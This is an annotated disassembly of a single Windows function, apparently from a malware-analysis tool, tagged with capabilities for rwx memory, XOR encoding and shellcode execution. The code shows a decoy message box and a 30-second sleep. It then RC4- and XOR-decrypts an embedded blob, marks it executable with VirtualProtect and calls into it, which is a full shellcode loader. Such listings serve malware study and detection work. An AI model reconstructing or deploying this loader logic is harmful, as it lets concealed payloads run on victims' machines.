Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x170
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r9d, 0x40
lea r8, str.Aviso
lea rdx, str.Persista__insista_e_n
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov eax, edi
lea rcx, [rsp + 0x50]
mov r10d, pe_nt_image_headers64
mov byte [rcx], al
inc eax
lea rcx, [rcx + 1]
cmp eax, r10d
jl 0x1400012a3
mov r8d, edi
mov rbp, qword [0x140018528]
mov rsi, qword [0x140018530]
sub rsi, rbp
lea r9, [rsp + 0x50]
mov r11, rdi
nop dword [rax]
xor edx, edx
mov rax, r11
div rsi
movzx ebx, byte [r9]
movzx eax, byte [rdx + rbp]
add r8d, eax
add r8d, ebx
and r8d, 0x800000ff
jge 0x1400012fc
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rsp + 0x50]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], bl
inc r11
inc r9
sub r10, 1
jne 0x1400012d0
mov eax, edi
mov r8d, edi
mov r11, rdi
mov rbx, qword [0x140018540]
cmp qword [0x140018548], rbx
je 0x1400013ad
inc eax
and eax, 0x800000ff
jge 0x140001345
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x50]
add r9, rcx
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000136d
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rsp + 0x50]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x50]
xor byte [rbx + r11], dl
inc r11
mov rcx, qword [0x140018548]
mov rbx, qword [0x140018540]
sub rcx, rbx
cmp r11, rcx
jb 0x140001333
movsx esi, byte [rbx]
movd xmm6, esi
punpcklbw xmm6, xmm6
punpcklwd xmm6, xmm6
pshufd xmm6, xmm6, 0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov qword [rsp + 0x40], rdi
mov edx, 0x12dd5
lea rcx, [rsp + 0x30]
call fcn.1400017f0
mov r8d, 0x12dd5
lea rdx, [0x140005750]
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rbx + 0x12dd5]
mov qword [rsp + 0x38], rcx
mov r8, rdi
mov rbp, rcx
sub rbp, rbx
mov rdx, rbp
cmp rbx, rcx
cmova rdx, rdi
mov rax, rbx
test rdx, rdx
je 0x14000147f
cmp rdx, 0x40
jb 0x14000147f
and rdx, 0xffffffffffffffc0
nop dword [rax]
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
add r8, 0x40
cmp r8, rdx
jne 0x140001430
cmp rax, rcx
je 0x14000148f
xor byte [rax], sil
inc rax
cmp rax, rcx
jne 0x140001484
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400014cd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400015c0
mov rcx, rax
lea rdx, [0x140001770]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, 1
jmp 0x1400014e6
call rbx
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
test rbx, rbx
je 0x140001523
mov rdx, qword [rsp + 0x40]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000151b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000151b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140001b7c
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400018e0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret